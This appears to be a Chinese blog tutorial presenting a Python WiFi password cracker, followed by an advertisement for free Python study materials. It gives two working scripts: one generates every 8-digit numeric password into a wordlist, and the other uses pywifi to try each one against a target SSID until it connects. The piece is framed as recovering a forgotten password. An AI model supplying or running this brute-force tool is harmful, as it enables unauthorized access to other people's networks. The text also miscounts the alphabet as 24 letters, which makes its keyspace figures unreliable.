Python小项目:使用pywifi模块,查看WIFI密码 !亲测有效

原理上WiFi密码都是可以破解的,只不过是时间问题,26*2字母(大小写)+10数字+特殊的字符,就形成很多个密码组合了,加上密码本身的个数。你也可以使用多开,多线程的方式去加速破解的速度。

我们知道,小写字母有24个,大写字母也有24个,数字有10个。
所以,一共有 24 + 24 + 10 = 58 个可选的字符。
现在,我们要生成一个8位的密码,每一位都可以是这58个字符中的任何一个。
所以,第一位有58种选择,第二位也有58种选择,以此类推,直到第8位。
总的组合数是 58 × 58 × 58 × 58 × 58 × 58 × 58 × 58。

这其实就是58的8次方。
计算结果为:128063081718016

wifi的密码长度是8-16位,如果你不幸忘记了某个wifi的密码,但是你大概知道密码的一些构成,也可以参考下面的脚本,来把密码找出来。密码三步走如下。

1.导入模块

pip install pywifi

2.生成可能的密码组合=8,就是8为数的密码组合

import itertools as its
import datetime

#生成密码+写入密码+记录花费的时间
def generate_passwords(number):
    # 记录程序运行时间
    start = datetime.datetime.now()
    #words = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'  # 大小写字母 + 数字 组合
    words = '0123456789' # 纯数字
    # 生成密码的位数
    passwords = its.product(words, repeat=number)  #正常情况下热点密码位数为8
    f = open("password.txt", 'a')

    for password in passwords:
        f.write(''.join(password))
        f.write(''.join('\n'))
        print(password)

    f.close()
    print('可能的密码组合,生成好了')
    end = datetime.datetime.now()
    print("总共用时:{}".format(end - start))

generate_passwords(8)

** 3.效验密码的正确性 **

# coding:utf-8

import pywifi
from pywifi import const
import time
import datetime

# 测试连接,返回链接结果
def wifi_connect(wifi_name,password):
    # 抓取网卡接口
    wifi = pywifi.PyWiFi()
    # 获取第一个无线网卡
    ifaces = wifi.interfaces()[0]
    # 断开所有连接
    ifaces.disconnect()
    time.sleep(1)
    wifistatus = ifaces.status()
    if wifistatus == const.IFACE_DISCONNECTED:
        # 创建WiFi连接文件
        profile = pywifi.Profile()
        # 要连接WiFi的名称
        profile.ssid = wifi_name
        # 网卡的开放状态
        profile.auth = const.AUTH_ALG_OPEN
        # wifi加密算法,一般wifi加密算法为wps
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # 加密单元
        profile.cipher = const.CIPHER_TYPE_CCMP
        # 调用密码
        profile.key = password
        # 删除所有连接过的wifi文件
        ifaces.remove_all_network_profiles()
        # 设定新的连接文件
        tep_profile = ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        # wifi连接时间
        time.sleep(3)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("已有wifi连接")

    # 读取密码本


def find_correct_password(wiff_name):
    print("开始破解:")
    # 打开密码本文件
    file = open('password.txt', "r")
    while True:
        try:
            #死循环读取密码和效验密码的正确
            break_code = file.readline()
            bool = wifi_connect(wiff_name,break_code)

            if bool:
                print("密码已破解:", break_code)
                print("WiFi已自动连接!!!")
                break
            else:
                # 跳出当前循环,进行下一次循环
                print("正在核对,这个密码是否正确...: ", break_code)
        except:
            continue

if __name__ == '__main__':
    start = datetime.datetime.now()
    #要破解的wiff名称
    find_correct_password("Tenda_xxxxxx")
    end = datetime.datetime.now()
    print("本次破解WIFI密码,时长为:{}".format(end - start))

感兴趣的小伙伴,赠送全套Python学习资料,包含面试题、简历资料等具体看下方。

Python小项目:使用pywifi模块,查看WIFI密码 !亲测有效_第1张图片

一、Python所有方向的学习路线

Python所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照下面的知识点去找对应的学习资源,保证自己学得较为全面。

img
img

二、Python必备开发工具

工具都帮大家整理好了,安装就可直接上手!

三、最新Python学习笔记

当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。

img

四、Python视频合集

观看全面零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。

img

五、实战案例

纸上得来终觉浅,要学会跟着视频一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。

img

六、面试宝典

在这里插入图片描述

在这里插入图片描述

简历模板
Python小项目:使用pywifi模块,查看WIFI密码 !亲测有效_第2张图片 若有侵权,请联系删除

你可能感兴趣的:(python,开发语言,Python学习,Python编程,Pywifi,计算机)